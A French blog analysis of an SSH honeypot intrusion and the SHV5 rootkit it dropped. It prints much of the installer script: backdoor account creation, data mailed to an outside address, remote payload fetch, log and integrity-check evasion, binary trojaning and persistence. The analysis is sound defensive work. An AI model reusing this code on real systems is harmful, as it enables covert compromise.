Nicolas SURRIBAS

Sécurité Informatique / Capture The Flag / Développement / Réseaux / PenTest

honeypot

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Rédigé par devloop - -

Introduction

Le 19 juillet 2011, un nouvel intrus a fait irruption sur ce qu'il pensait être un système Unix faisant tourner un serveur SSH alors qu'il s'agissait en réalité du honeypot SSH, un outil destiné à leurrer les hackers, surveiller leurs activités et récupérer leurs scripts.

Le pirate n'est pas apparu par hasard sur la machine. Il a réalisé une attaque brute force sur le compte root du serveur SSH simulé par Kippo.
Sur cette journée j'ai eu deux attaques brute force concluantes : la première à 10h49 provenant de l'IP 84.14.252.138 et la seconde à 12h03 venant de 123.30.49.8.
Difficile de dire sur laquelle de ces attaques s'est basé le pirate puisqu'il a fait une connexion directe plus tard avec une IP différente : 174.36.18.156.

La première commande lancée sur le système a été "w" pour s'assurer qu'il était le seul connecté sur le serveur et que sa présence ne serait pas vue par un autre utilisateur.
Il a ensuite affiché le contenu du fichier /proc/cpuinfo pour obtenir des informations sur le système et lancé ifconfig pour afficher les interfaces réseau.
La commande wget a aussi été lancée sans arguments, juste pour vérifier que le programme était bien présent sur le système.

Pour empêcher l'historisation de sa session il a copié/collé la commande suivante :
unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST REMOTEUSER
Il s'est ensuite placé dans le dossier /var/tmp pour récupérer avec wget un fichier à l'adresse http://unixcrew.t35.com/rk.jpg.
Ce fichier à l'extension jpg est en réalité une archive tgz qui une fois décompressée génère un dossier .rc. contenant un fichier setup ainsi que d'autres archives tgz.

Le pirate ne prend pas plus de temps pour explorer le système et exécute immédiatement le script avec ./setup unixteam 1985.

SHV5 : Script d'installation

Le fichier setup est un script bash qui installe un rootkit bien connu de la famille des SHVx (ici SHV5). Du à la longueur du fichier, nous l'étudierons en plusieurs morceaux.
Première partie :

#!/bin/bash
#
# shv5-internal-release
# by: TheDemon
# PRIVATE ! DO NOT DISTRIBUTE BITCHEZ !

# BASIC DEFINES
DEFPASS=dacialogan
DEFPORT=7000
BASEDIR=`pwd`

# DON`T TOUCH BELOW UNLESS YOU KNOW WHAT U`R DOING !
# BEFORE WE MOVE ON LET`s WORK ON SAFE-GROUND !
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

# RAINBOW COLOURS :)
BLK='^[1;30m'
RED='^[1;31m'
GRN='^[1;32m'
YEL='^[1;33m'
BLU='^[1;34m'
MAG='^[1;35m'
CYN='^[1;36m'
WHI='^[1;37m'
DRED='^[0;31m'
DGRN='^[0;32m'
DYEL='^[0;33m'
DBLU='^[0;34m'
DMAG='^[0;35m'
DCYN='^[0;36m'
DWHI='^[0;37m'
RES='^[0m'

# HOPE U`R NO TRYING THIS FROM USER !
# HOWEVER LET`S SEE WHAT KINDA KID U ARE ?
if [ "$(whoami)" != "root" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}] ${WHI} BECOME ROOT AND TRY AGAIN ${RES}"
  echo ""
  exit
fi

# UNZIPING SHITS
tar zxf ./bin.tgz
tar zxf ./conf.tgz
tar zxf ./lib.tgz
tar zxf ./utilz.tgz
cd ./bin; tar zxf ./sshd.tgz
./a
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz

sleep 2

cd $BASEDIR

killall -9 syslogd >/dev/null 2>&1

startime=`date +%S`

echo "${DCYN}[${WHI}sh${DCYN}]# Installing shv5 ... this wont take long ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# If u think we will patch your holes shoot yourself !${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# so patch manualy and fuck off!  ${RES}"
echo ""
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
echo "${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\n\r\t - Do not use this version.\n\n${RES}"
echo "${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AAA  AAA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AA    AA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HHHHHH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR R    AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR RR   AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR  RR  AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${DCYN}#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@${RES}"
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
sleep 2

echo "${DCYN}[${WHI}sh${DCYN}]# backdooring started on ${WHI}`hostname -f`${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"

SYSLOGCONF="/etc/syslog.conf"

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for remote logging...  ${RES}"

REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`

if [ ! -z "$REMOTE" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}]# May Allah help us!${RES}"
  echo
  echo '${RED} REMOTE LOGGING DETECTED ${RES}'
  echo '${DCYN}[${WHI}sh${DCYN}]# I hope you can get to these other computer(s): ${RES}'
  echo
  for host in $REMOTE; do
    echo -n "            "
    echo $host
  done
  echo
  echo ' ${WHI} cuz this box is LOGGING to it... ${RES}'
  echo
  else
  echo " ${WHI} guess not.${RES}"
fi
Cette première partie constitue principalement la présentation du code. Si on cherche sur Internet une copie de ce script on remarque que le nom de l'auteur a été changé. Encore du plagiat.
Deux variables intéressantes sont définies. La première est un mot de passe "dacialogan" qui s'accorde bien avec la supposée nationalité (roumaine) des intrus. La seconde variable intéressante est un numéro de port : 7000.
Le programme désarchive ensuite des fichiers compressés aux noms explicites (bin pour les binaires, conf pour la configuration etc)
Un appel discret à un script baptisé "a" est fait. Voici le contenu du script en question :
password="alex1985"                                                                                                                                                                                                                
pass=$(perl -e 'print crypt($ARGV[0], "wtf")' $password)                                                                                                                                                                           
/usr/sbin/useradd -o -u 0 -g 0 -d /tmp -s /bin/bash -p $pass -f -1 pupacila
/sbin/ifconfig | grep inet | mail -s "inca un root" norocos@canadianbiotech.com
exit
On a ici un ajout automatique d'un compte utilisateur ainsi qu'une référence à une adresse email pour le moins suspects... Pour terminer, le setup analyse brièvement le fichier de configuration de syslog pour déterminer si les logs sont envoyés sur un serveur distant.

Voyons la suite du script :
#######################################################################
## CHEKING FOR MALICIOUS ADMIN TOOLS !(like tripwire, snort, etc...) ##
##                                                                   ##
#######################################################################

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire...  ${RES}"

uname=`uname -n`
twd=/var/lib/tripwire/$uname.twd

if [ -d /etc/tripwire ]; then
  echo "${WHI} ALERT: TRIPWIRE FOUND! ${RES}"

  if [ -f /var/lib/tripwire/$uname.twd ]; then
    chattr -isa $twd
    echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire-database... ${RES}"
    echo "${RED} ALERT! tripwire database found ${RES}"
    echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} dun worry we got handy-tricks for this :) ${RES}"
    echo "-----------------------------------------" > $twd
    echo "Tripwire segment-faulted !" >> $twd
    echo "-----------------------------------------" >> $twd
    echo "" >> $twd
    echo "The reasons for this may be: " >> $twd
    echo "" >> $twd
    echo "corrupted disc-geometry, possible bad disc-sectors" >> $twd
    echo "corrupted files while checking for possible change etc." >> $twd
    echo ""
    echo "pls. rerun tripwire to build the database again!" >> $twd
    echo "" >> $twd
  else
    echo "${WHI} lucky you: Tripwire database not found. ${RES}"
  fi
else
  echo "${WHI} guess not. ${RES}"
fi
Cette partie du script regarde si Tripwire, un outil de vérification d'intégrité des fichiers, est installé sur la machine. Le rootkit ne cherche pas à leurrer Tripwire car l'opération est délicate. D'autant plus que comme on le verra dans la suite de ce script setup, SHV5 est un rootkit qui fonctionne par remplacement des binaires sur le système donc moins évolué et facilement détectable comparé à un rootkit noyau.
Ici SHV5 insère dans la base de données de Tripwire un message d'erreur (probablement récupéré dans le code de Tripwire) destiné à faire croire l'administrateur du système que le disque dur a des secteurs défectueux.

Reprenons l'analyse du setup :
# restoring login
if [ -f /sbin/xlogin ]; then
  chattr -isa /sbin/xlogin
  chattr -isa /bin/login
  mv -f /sbin/xlogin /bin/login
  chmod 7455 /bin/login
  chattr +isa /bin/login
fi

echo "${DCYN}[${WHI}sh${DCYN}]# [Installing trojans....] ${BLU} ${RES}"

if [ -f /etc/sh.conf ]; then
  chattr -isa /etc/sh.conf
  rm -rf /etc/sh.conf
fi

# checking if we got needed libs and filez
if [ ! -f /lib/libproc.a ]; then
  mv lib/libproc.a /lib/
fi

if [ ! -f /lib/libproc.so.2.0.6 ]; then
  mv lib/libproc.so.2.0.6 /lib/
fi

/sbin/ldconfig >/dev/null 2>&1

#if [ -f /lib/libncurses.so.5 ]; then
#  echo ""
#else
#  ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi

if [ -f /.bash_history ]; then
  chattr -isa /.bash_history >/dev/null 2>&1
  rm -rf /.bash_history
fi

if [ -f /bin/.bash_history ]; then
  chattr -isa /bin/.bash_history
  rm -rf /bin/.bash_history
fi

if [ ! -f /usr/bin/md5sum ]; then
  touch -acmr /bin/ls bin/md5sum
  cp bin/md5sum /usr/bin/md5sum
fi
Plusieurs commandes ne semblent pas avoir de sens. La référence à un binaire nommé xlogin n'est pas retrouvée ensuite. Il peut s'agir d'une ligne laissé lors d'un changement de version ou un test oublié par l'auteur...
Le fichier /etc/sh.conf n'existe pas sur un système standard. Il s'agit d'un des fichiers qui est créé ensuite par le rootkit. Ce dernier fait donc le ménage avant de s'installer.
La librairie libproc est une librairie que l'on ne trouve plus sur les systèmes actuels mais qui à l'époque était utilisé par les binaires ps, top, pstree. Cela en faisait une cible privilégié des hackers car il suffisait de modifier cette librairie pour agir sur les résultats de plusieurs binaires à la fois.
La librairie ncurses est notamment utilisée par les programmes top et pstree.
La présence d'un fichier .bash_history sous la racine / ou dans le dossier /bin semble être un pur fruit de l'imagination de l'auteur. Il n'existe pas de tels fichiers à ces emplacements.
Enfin le script remplace le programme de hachage md5sum par le sien et lui donne pour date celles de /bin/ls. Il aurait été plus judicieux de copier celles du md5sum original !
if test -n "$1" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
  cd $BASEDIR/bin
  echo -n $1|md5sum > /etc/sh.conf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
  echo -n $DEFPASS|md5sum > /etc/sh.conf
fi

touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf
Dans les lignes ci-dessus, le programme place dans le fichier /etc/sh.conf le hash md5 d'un mot de passe choisi par l'utilisateur. S'il est passé par argument, il s'agira du premier argument passé au setup, sinon ce sera celui indiqué dans la source du setup que l'on a vu au début (dacialogan).
Dans notre cas on a vu que le pirate a passé la chaine unixteam au setup. Ce sera donc son mot de passe.
Des attributs spéciaux sont placés sur le fichier pour rendre difficile sa suppression par un administrateur ayant de faibles connaissances.
if test -n "$2" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
  echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$2
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
  echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$DEFPORT
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi

/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT
A l'instar du mot de passe, un port est défini à partir de la ligne de commande ou de la source. Dans notre cas ce sera 1985 et non 7000. On peut supposer que 1985 est la date de naissance de l'intrus...
Ce port est utilisé pour configurer un serveur SSH (fichier sshd_config). On remarque aussi que le numéro de port est placé dans le fichier hosts.h.
Le reste du fichier sshd_config est ensuite rempli par un fichier nommé shdcf2 qui contient les directives nécessaires pour que le serveur ssh fonctionne normalement.
Ces fichiers en rapport avec ssh sont extrait depuis une archive nommée sshd.tgz qui était elle même présente dans bin.tgz. Parmi ces fichiers on trouve la clé privée du serveur SSH. Il est fort à parier que les pirates utilisant ce rootkit ont laissé la clé d'origine sans chercher à en générer une eux même.

Le binaire baptisé sshd qui est présent dans l'archive n'est pas un serveur SSH traditionnel. D'abord il est compilé statiquement et fait 208Ko. Sur mon système, le sshd est compilé dynamiquement et fait 533Ko ! Il s'agit donc plus d'une backdoor sécurisée que d'un vrai serveur SSH.
Ajouté à ça un strings sur le binaire révèle très peu de choses. En fait on trouve uniquement les chaînes suivantes :
Linux
$Info: This file is the propert of SH-crew team designed for test
purposes. $
$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and
enjoy. $
Personnellement je n'utiliserais pas un binaire aussi suspect même si c'était pour pirater une machine.
if [ -f /lib/lidps1.so ]; then
  chattr -isa /lib/lidps1.so
  rm -rf /lib/lidps1.so
fi
Le fichier lidps1.so n'est pas une librairie. C'est un fichier texte qui semble contenir le nom de commandes / exécutables : ttyload, shsniff, shp, hide, burim, synscan, mirkforce, ttymon et sh2-power.
if [ -f /usr/include/hosts.h ]; then
  chattr -isa /usr/include/hosts.h
  rm -rf /usr/include/hosts.h
fi
Le fichier hosts.h contient des débuts d'adresse IP et des numéros de ports qui seront cachés par les versions modifiées de netstat et lsof (?).
Le contenu du fichier par défaut est le suivant :
2 212.110
2 195.26
2 194.143
2 62.220
2 193.231
3 2002
4 2002
3 6667
3 8080
4 8080
4 6667
On peut émettre l'hypothèse que le numéro qui précède sert à définir le type. 2 pour une adresse IP, 3 pour un port TCP, 4 pour un port UDP... C'est une idée.
if [ -f /usr/include/file.h ]; then
  chattr -isa /usr/include/file.h
  rm -rf /usr/include/file.h
fi
Le fichier file.h contiendra comme on s'en doute les fichiers à dissimuler sur le système.
Son contenu est le suivant :
sh.conf
libsh
.sh
system
shsb
libsh.so
ttylib
shp
shsniff
srd0
On retrouve bien sûr le fichier sh.conf et d'autres fichiers croisés précédemment. Ce qui est nouveau c'est le srd0 qui ressemble à un périphérique.
if [ -f /usr/include/log.h ]; then
  chattr -isa /usr/include/log.h
  rm -rf /usr/include/log.h
fi
Ce fichier contient les mots mirkforce, synscan et syslog...
if [ -f /usr/include/proc.h ]; then
  chattr -isa /usr/include/proc.h
  rm -rf /usr/include/proc.h
fi
Ce fichier contient tout les noms de processus qui devront être dissimulés aux yeux des utilisateurs du système.
Étudions la suite du setup :
cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/

# Ok lets start creating dirs
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh

if [ -d /lib/libsh.so ]; then
  chattr -isa /lib/libsh.so
  chattr -isa /lib/libsh.so/*
  rm -rf /lib/libsh.so
fi

if [ -d /usr/lib/libsh ]; then
  chattr -isa /usr/lib/libsh
  chattr -isa /usr/lib/libsh/*
  rm -rf /usr/lib/libsh/*
fi

mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR

cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR

[coupé]

cp /bin/bash $SSHDIR
Par souci de lisibilité j'ai retiré certaines lignes. Le script place ses binaires dans les dossiers /usr/lib/libssh et /lib/libsh.so. Ces dossiers étant hardcodés il est aisé pour un administrateur ou un outil de sécurité de vérifier leur présence même si les binaires ont été modifiés.
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1
cat /tmp/.init2 >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# modem getty." >> /tmp/.init1
echo "# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# fax getty (hylafax)" >> /tmp/.init1
echo "# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# vbox (voice box) getty" >> /tmp/.init1
echo "# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6" >> /tmp/.init1
echo "# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# end of /etc/inittab" >> /tmp/.init1

echo "/sbin/ttyload -q >/dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/ttylib >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload
echo "iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload

touch -acmr /bin/ls /usr/sbin/ttyload
chmod +x /usr/sbin/ttyload
chattr +isa /usr/sbin/ttyload
/usr/sbin/ttyload >/dev/null 2>&1

touch -amcr /etc/inittab /tmp/.init1
mv -f /tmp/.init1 /etc/inittab
rm -rf /tmp/.init2

# MAKING SURE WE GOT IT BACKDORED RIGHT !
if [ ! "`grep ttyload /etc/inittab`" ]; then
  echo "${RED}[${WHI}sh${RED}]# WARNING - SSHD WONT BE RELOADED UPON RESTART"
  echo "${RED}[${WHI}sh${RED}]# inittab shuffling probly fucked-up !"
fi
Le setup créé un fichier /usr/sbin/ttyload qui sera chargé par init par le biais de inittab. On remarque que des lignes inutiles (car commentées) sont aussi insérées... Probablement pour essayer de noyer le poisson.
Il ouvre aussi l'accès au port choisi par le pirate par le biais de iptables. Comme expliqué sur une autre analyse ce n'est pas forcément effectif : le firewall n'est pas forcément sur la même machine.
# Say hello to md5sum fixer boys n gurls !
if [ -f /sbin/ifconfig ]; then
  /usr/bin/md5sum /sbin/ifconfig >> .shmd5
fi
if [ -f /bin/ps ]; then
  /usr/bin/md5sum /bin/ps >> .shmd5
fi
if [ -f /bin/ls ]; then
  /usr/bin/md5sum /bin/ls >> .shmd5
fi

[coupé]

if [ -f /usr/bin/md5sum ]; then
  /usr/bin/md5sum /usr/bin/md5sum >> .shmd5
fi
Bonjour md5 fixer ! :D
md5sum fait partie des fichiers backdoorés. Le rôle de la backdoor est de retourner une fausse somme de contrôle md5 qui rassurera l'administrateur. Pour cela il faut stocker les md5 des binaires originaux pour les retourner plus tard. C'est à ça que sert le fichier .shmd5 que l'on voit ici.
On notera que si md5sum est backdooré, ce n'est pas le cas de sha1sum...
if [ ! -f /dev/srd0 ]; then
  ./encrypt -e .shmd5 /dev/srd0
  touch -acmr /bin/ls /dev/srd0
  chattr a+r /dev/srd0
  chown -f root:root /dev/srd0
fi

rm -rf .shmd5
On trouve ici notre fichier srd0 qui est effectivement créé dans /dev. Il est généré depuis le fichier de signatures .shmd5 par le binaire encrypt.
Je ne peux pas dire grand chose sur ce binaire si ce n'est que AVG le détecte comme Linux/Agent2.V, qu'il pèse 15Ko, qu'il est compilé dynamiquement et strippé.
On trouve les chaines "Encrypt / Decrypt tool", "for all files !" et "syntx:". Il prend l'option -e pour chiffrer et -d pour déchiffrer.
Un nm -D lancé sur le binaire révèle qu'il n'utilise que des fonctions de base (fopen, fgets, strncpy, memcpy etc). Sans étude plus poussée impossible de dire quel algorithme est utilisé toutefois le fichier généré ne doit pas être du type périphérique ce qui rend sa présence dans /dev suspecte. C'est pour cela que les autres binaires cherchent à le cacher.
# time change bitch

touch -acmr /sbin/ifconfig ifconfig >/dev/null 2>&1
touch -acmr /bin/ps ps >/dev/null 2>&1
touch -acmr /usr/bin/md5sum md5sum >/dev/null 2>&1
md5sum="norocos@canadianbiotech.com"
C'est explicite : on recopie les dates des binaires originaux pour passer inaperçu. Je n'ai pas mis toutes les lignes. Cette fois il repasse sur le md5sum. On relève l'adresse email.
# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP

# ps ...
if [ -f /usr/bin/ps ]; then
  chattr -isa /usr/bin/ps
  cp /usr/bin/ps $BACKUP
  mv -f ps /usr/bin/ps
  chattr +isa /usr/bin/ps
fi

# syslogd ...
# we won`t trojan it coz its too sensitive and won`t work.
# Admin will notice it upon system-restart!

#if [ -f /sbin/syslogd ]; then
#  chattr -isa /sbin/syslogd
#  cp /sbin/syslogd $BACKUP
#  mv -f syslogd /sbin/syslogd 
#  chattr +isa /sbin/syslogd
#fi
Les binaires sont écrasés et les dates originales conservés dans le déplacement avec l'option -f de mv. Le script conserve une copie des binaires originaux en cas de problème, et il peut y en avoir : architecture ou version de la libc incompatible... Comme le script ne fait aucune vérification ça peut très bien casser le système.
Les backups pourraient toutefois s'avérer utiles à un administrateur qui veut corriger son système quoiqu'il est plus sûr de réinstaller le système complètement.
echo "${DCYN}[${WHI}sh${DCYN}]# : ps/ls/top/netstat/ifconfig/find/ and rest backdoored${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Installing some utils...] ${RES}"

cd $BASEDIR

#if [ ! -f /usr/bin/wget ]; then
#  touch -acmr /bin/ls ./bin/wget
#  chmod 744 ./bin/wget
#  mv ./bin/wget /usr/bin/wget
#fi

# PICO WILL MAKE RK GROW BIG!
# SO FUCK OFF AND USE vi !

#if [ ! -f /usr/bin/pico ]; then
#  touch -acmr /bin/ls ./pico
#  chmod 744 ./pico
#  mv ./pico /usr/bin/pico
#fi
Pour une fois je suis d'accord. Pico ça craint ! Utilisez VI !
touch -acmr /bin/ls $BASEDIR/utilz
touch -acmr /bin/ls $BASEDIR/utilz/*
mv $BASEDIR/utilz $HOMEDIR/

echo "${DCYN}[${WHI}sh${DCYN}]# : mirk/synscan/others... moved ${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# [Moving our files...] ${RES}"

mkdir $HOMEDIR/.sniff
mv $BASEDIR/bin/shsniff $HOMEDIR/.sniff/shsniff
mv $BASEDIR/bin/shp $HOMEDIR/.sniff/shp
mv $BASEDIR/bin/shsb $HOMEDIR/shsb
mv $BASEDIR/bin/hide $HOMEDIR/hide

touch -acmr /bin/ls $HOMEDIR/.sniff/shsniff
touch -acmr /bin/ls $HOMEDIR/.sniff/shp
touch -acmr /bin/ls $HOMEDIR/shsb
touch -acmr /bin/ls $HOMEDIR/hide

chmod +x $HOMEDIR/.sniff/*
chmod +x $HOMEDIR/shsb
chmod +x $HOMEDIR/hide

echo "${DCYN}[${WHI}sh${DCYN}]# : sniff/parse/sauber/hide moved ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Modifying system settings to suite our needs] ${RES}"
Le setup place quelques outils qui étaient dans utilz.tgz. On y retrouve d'autres programmes signés SH-TEAM.
# CHECKING FOR VULN DAEMONS
# JUST WARNING NOT PATCHING HeH
echo "${DCYN}[${WHI}sh${DCYN}]# Checking for vuln-daemons ...  ${RES}"

ps aux > /tmp/.procs

if [ "`cat /tmp/.procs | grep named`" ]; then
  echo "${RED}[${WHI}sh${RED}]# NAMED found - patch it bitch !!!!  ${RES}"
fi

if [ -f /usr/sbin/wu.ftpd ]; then
  echo "${RED}[${WHI}sh${RED}]# WU-FTPD found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep smbd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# SAMBA found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep rpc.statd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# RPC.STATD found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.procs
netstat -natp > /tmp/.stats

if [ "`cat /tmp/.stats | grep 443 | grep http`" ]; then
  echo "${RED}[${WHI}sh${RED}]# MOD_SSL found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.stats

# CHECKING FOR HOSTILE ROOTKITS/BACKDORS
mkdir $HOMEDIR/.owned

if [ -f /etc/ttyhash ]; then
  chattr -AacdisSu /etc/ttyhash
  rm -rf /etc/ttyhash
fi

if [ -d /lib/ldd.so ]; then
  chattr -isa /lib/ldd.so
  chattr -isa /lib/ldd.so/*
  mv /lib/ldd.so $HOMEDIR/.owned/tk8
  echo "${RED}[${WHI}sh${RED}]# tk8 detected and owned ...!!!! ${RES}"
fi

if [ -d /usr/src/.puta ]; then
  chattr -isa /usr/src/.puta
  chattr -isa /usr/src/.puta/*
  mv /usr/src/.puta $HOMEDIR/.owned/tk7
  echo "${RED}[${WHI}sh${RED}]# tk7 detected and owned ...!!!! ${RES}"
fi

if [ -f /usr/sbin/xntpd ]; then
  chattr -isa /usr/sbin/xntpd
  rm -rf /usr/sbin/xntpd
fi

if [ -f /usr/sbin/nscd ]; then
  chattr -isa /usr/sbin/nscd
  rm -rf /usr/sbin/nscd
fi

if [ -d /usr/include/bex ]; then
  chattr -isa /usr/info/termcap.info-5.gz; rm -rf /usr/info/termcap.info-5.gz
  chattr -isa /usr/include/audit.h; rm -rf /usr/include/audit.h
  chattr -isa /usr/include/bex
  chattr -isa /usr/include/bex/*
  mv /usr/include/bex/ $HOMEDIR/.owned/bex2
  if [ -f /var/log/tcp.log ]; then
    chattr -isa /var/log/tcp.log
    cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog
  fi
  chattr -isa /usr/bin/sshd2 >/dev/null 2>&1
  rm -rf /usr/bin/sshd2 >/dev/null 2>&1
  echo "${RED}[${WHI}sh${RED}]# beX2 detected and owned ...!!!! ${RES}" 
fi

if [ -d /dev/tux/ ]; then
  chattr -isa /usr/bin/xsf >/dev/null 2>&1
  rm -rf /usr/bin/xsf >/dev/null 2>&1
  chattr -isa /usr/bin/xchk >/dev/null 2>&1
  rm -rf /usr/bin/xchk >/dev/null 2>&1
  chattr -isa /dev/tux >/dev/null 2>&1
  mv /dev/tux $HOMEDIR/.owned/tuxkit
  echo "${RED}[${WHI}sh${RED}]# tuxkit detected and owned ...!!!!  ${RES}" 
fi

if [ -f /usr/bin/ssh2d ]; then
  chattr -isa /usr/bin/ssh2d
  rm -rf /usr/bin/ssh2d
  chattr -isa /lib/security/.config/
  chattr -isa /lib/security/.config/*
  rm -rf /lib/security/.config
  echo "${RED}[${WHI}sh${RED}]# optickit detected and removed ...!!!! ${RES}" 
fi

if [ -f /etc/ld.so.hash ]; then
  chattr -isa /etc/ld.so.hash
  rm -rf /etc/ld.so.hash
fi
Amusant... Le setup retire les rootkits qui pourrait être présents sur votre système et vous prévient si des démons à la sécurité hasardeuse sont présents (compris bitch ?)
La suite est dans le même ordre d'idée :
chattr +isa /usr/lib/libsh
chattr +isa /lib/libsh.so

# GREPPING SHITZ FROM rc.sysinit and inetd.conf
if [ -f /etc/rc.d/rc.sysinit ]; then
  chattr -isa /etc/rc.d/rc.sysinit
  cat /etc/rc.d/rc.sysinit | grep -v "# Xntps (NTPv3 daemon) startup.."| grep -v "/usr/sbin/xntps"| grep -v "/usr/sbin/nscd" > /tmp/.grep
  chmod +x /tmp/.grep
  touch -acmr /etc/rc.d/rc.sysinit /tmp/.grep
  mv -f /tmp/.grep /etc/rc.d/rc.sysinit
  rm -rf /tmp/.grep
fi

if [ -f /etc/inetd.conf ]; then
  chattr -isa /etc/inetd.conf
  cat /etc/inetd.conf | grep -v "6635"| grep -v "9705" > /tmp/.grep
  touch -acmr /etc/inted.conf /tmp/.grep
  mv -f /tmp/.grep /etc/inetd.conf
  rm -rf /tmp/.grep
fi

# KILLING SOME LAMME DAEMONS
killall -9 -q nscd >/dev/null 2>&1
killall -9 -q xntps >/dev/null 2>&1
killall -9 -q mountd >/dev/null 2>&1
killall -9 -q mserv >/dev/null 2>&1
killall -9 -q psybnc >/dev/null 2>&1
killall -9 -q t0rns >/dev/null 2>&1
killall -9 -q linsniffer >/dev/null 2>&1
killall -9 -q sniffer >/dev/null 2>&1
killall -9 -q lpsched >/dev/null 2>&1
killall -9 -q sniff >/dev/null 2>&1
killall -9 -q sn1f >/dev/null 2>&1
killall -9 -q sshd2 >/dev/null 2>&1
killall -9 -q xsf >/dev/null 2>&1
killall -9 -q xchk >/dev/null 2>&1
killall -9 -q ssh2d >/dev/null 2>&1


echo "${WHI}--------------------------------------------------------------------${RES}"

